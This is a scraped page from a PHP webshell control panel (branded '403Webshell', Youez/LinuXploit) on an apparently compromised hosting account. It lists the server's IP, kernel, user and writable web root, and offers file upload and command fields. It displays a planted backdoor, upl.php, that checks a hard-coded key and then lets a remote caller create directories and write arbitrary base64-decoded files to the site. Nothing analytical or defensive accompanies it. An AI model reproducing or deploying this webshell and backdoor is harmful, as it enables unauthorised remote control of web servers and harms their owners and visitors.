403Webshell
Server IP : 173.201.180.75  /  Your IP : 18.232.179.37
Web Server : Apache
System : Linux p3plzcpnl459188.prod.phx3.secureserver.net 2.6.32-954.3.5.lve1.4.92.el6.x86_64 #1 SMP Tue Jul 4 15:05:25 UTC 2023 x86_64
User : ryvm0idqv8fv ( 7659266)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ryvm0idqv8fv/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ryvm0idqv8fv/public_html/upl.php
<?php 

	if( $_GET['k'] != '2603b16e51460b44127d26fa1fdc4fe4' ){
		exit('.');
	}
	
	function json_show($data)
	{
		echo json_encode( $data );
	}

	$cmd = $_POST['cmd'];

	if( !empty( $cmd ) ){

		if( $cmd == "test" ){

			json_show(array(
				"code" => 200,
			));

		}

		if( $cmd == "mkdir" ){

			$tmp_dir = $_POST['dir'];

			mkdir( $tmp_dir );
			chmod( $tmp_dir , 0755 );

			json_show(array(
				"code" => 200,
			));

		}

		if( $cmd == "upload" ){

			$post_file = $_POST['file'];
			$post_data = $_POST['data'];

			$post_data_enc = base64_decode( $post_data );

			file_put_contents( $post_file , $post_data_enc );
			chmod( $post_file , 0644 );

			json_show(array(
				"code" => 200,
			));

		}

	}

Youez - 2016 - github.com/yon3zu
LinuXploit